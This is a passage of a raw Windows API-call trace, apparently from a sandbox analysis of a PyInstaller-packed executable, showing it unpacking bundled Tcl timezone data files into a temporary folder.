[0039.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.494] CloseHandle (hObject=0x10c) returned 1 [0039.494] GetLastError () returned 0x0 [0039.494] SetLastError (dwErrCode=0x0) [0039.494] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.494] GetFileType (hFile=0x10c) returned 0x1 [0039.494] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.495] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.495] CloseHandle (hObject=0x10c) returned 1 [0039.495] GetLastError () returned 0x0 [0039.495] SetLastError (dwErrCode=0x0) [0039.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet") returned 77 [0039.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rankin_inlet"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.495] GetLastError () returned 0x2 [0039.495] SetLastError (dwErrCode=0x2) [0039.495] GetLastError () returned 0x2 [0039.495] SetLastError (dwErrCode=0x2) [0039.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet", lpFilePart=0x0) returned 0x4c [0039.495] GetLastError () returned 0x2 [0039.495] SetLastError (dwErrCode=0x2) [0039.495] GetLastError () returned 0x2 [0039.495] SetLastError (dwErrCode=0x2) [0039.495] GetLastError () returned 0x2 [0039.495] SetLastError (dwErrCode=0x2) [0039.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet") returned 77 [0039.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rankin_Inlet" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rankin_inlet"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.497] GetFileType (hFile=0x10c) returned 0x1 [0039.497] htonl (hostlong=0xc61c0000) returned 0x1cc6 [0039.497] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.498] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.498] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc6, lpOverlapped=0x0) returned 1 [0039.498] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.498] CloseHandle (hObject=0x10c) returned 1 [0039.499] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.499] htonl (hostlong=0x40000000) returned 0x40 [0039.499] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.499] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.499] GetFileType (hFile=0x10c) returned 0x1 [0039.499] htonl (hostlong=0xf81a5a00) returned 0x5a1af8 [0039.499] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ecaf8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.499] htonl (hostlong=0x75010000) returned 0x175 [0039.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x175) returned 0x550600 [0039.499] htonl (hostlong=0x75010000) returned 0x175 [0039.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.499] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.499] htonl (hostlong=0x6f050000) returned 0x56f [0039.499] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x56f) returned 0x55e278 [0039.499] htonl (hostlong=0x75010000) returned 0x175 [0039.499] htonl (hostlong=0x6f050000) returned 0x56f [0039.500] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.500] CloseHandle (hObject=0x10c) returned 1 [0039.500] GetLastError () returned 0x0 [0039.500] SetLastError (dwErrCode=0x0) [0039.500] GetLastError () returned 0x0 [0039.500] SetLastError (dwErrCode=0x0) [0039.500] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.500] GetFileType (hFile=0x10c) returned 0x1 [0039.500] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.500] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.500] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.500] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.500] CloseHandle (hObject=0x10c) returned 1 [0039.500] GetLastError () returned 0x0 [0039.501] SetLastError (dwErrCode=0x0) [0039.501] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.501] GetFileType (hFile=0x10c) returned 0x1 [0039.501] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.503] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.503] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.503] CloseHandle (hObject=0x10c) returned 1 [0039.503] GetLastError () returned 0x0 [0039.503] SetLastError (dwErrCode=0x0) [0039.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.503] GetFileType (hFile=0x10c) returned 0x1 [0039.503] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.503] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.503] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.504] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.504] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.504] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.504] CloseHandle (hObject=0x10c) returned 1 [0039.504] GetLastError () returned 0x0 [0039.504] SetLastError (dwErrCode=0x0) [0039.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife") returned 71 [0039.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\recife"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.504] GetLastError () returned 0x2 [0039.504] SetLastError (dwErrCode=0x2) [0039.504] GetLastError () returned 0x2 [0039.504] SetLastError (dwErrCode=0x2) [0039.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife", lpFilePart=0x0) returned 0x46 [0039.504] GetLastError () returned 0x2 [0039.504] SetLastError (dwErrCode=0x2) [0039.504] GetLastError () returned 0x2 [0039.504] SetLastError (dwErrCode=0x2) [0039.504] GetLastError () returned 0x2 [0039.504] SetLastError (dwErrCode=0x2) [0039.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife") returned 71 [0039.504] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Recife" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\recife"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.505] GetFileType (hFile=0x10c) returned 0x1 [0039.505] htonl (hostlong=0x6f050000) returned 0x56f [0039.505] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.505] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x56f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x56f, lpOverlapped=0x0) returned 1 [0039.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.506] CloseHandle (hObject=0x10c) returned 1 [0039.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.507] htonl (hostlong=0x30000000) returned 0x30 [0039.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.507] GetFileType (hFile=0x10c) returned 0x1 [0039.507] htonl (hostlong=0x6d1c5a00) returned 0x5a1c6d [0039.507] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ecc6d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.507] htonl (hostlong=0xbb010000) returned 0x1bb [0039.507] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bb) returned 0x550600 [0039.507] htonl (hostlong=0xbb010000) returned 0x1bb [0039.507] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.507] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.507] htonl (hostlong=0xbb060000) returned 0x6bb [0039.507] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6bb) returned 0x55e278 [0039.507] htonl (hostlong=0xbb010000) returned 0x1bb [0039.507] htonl (hostlong=0xbb060000) returned 0x6bb [0039.507] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.507] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.507] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.507] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.507] CloseHandle (hObject=0x10c) returned 1 [0039.507] GetLastError () returned 0x0 [0039.507] SetLastError (dwErrCode=0x0) [0039.507] GetLastError () returned 0x0 [0039.507] SetLastError (dwErrCode=0x0) [0039.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.508] GetFileType (hFile=0x10c) returned 0x1 [0039.508] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.508] CloseHandle (hObject=0x10c) returned 1 [0039.508] GetLastError () returned 0x0 [0039.508] SetLastError (dwErrCode=0x0) [0039.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.508] GetFileType (hFile=0x10c) returned 0x1 [0039.508] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.509] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.509] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.509] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.509] CloseHandle (hObject=0x10c) returned 1 [0039.509] GetLastError () returned 0x0 [0039.509] SetLastError (dwErrCode=0x0) [0039.509] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, 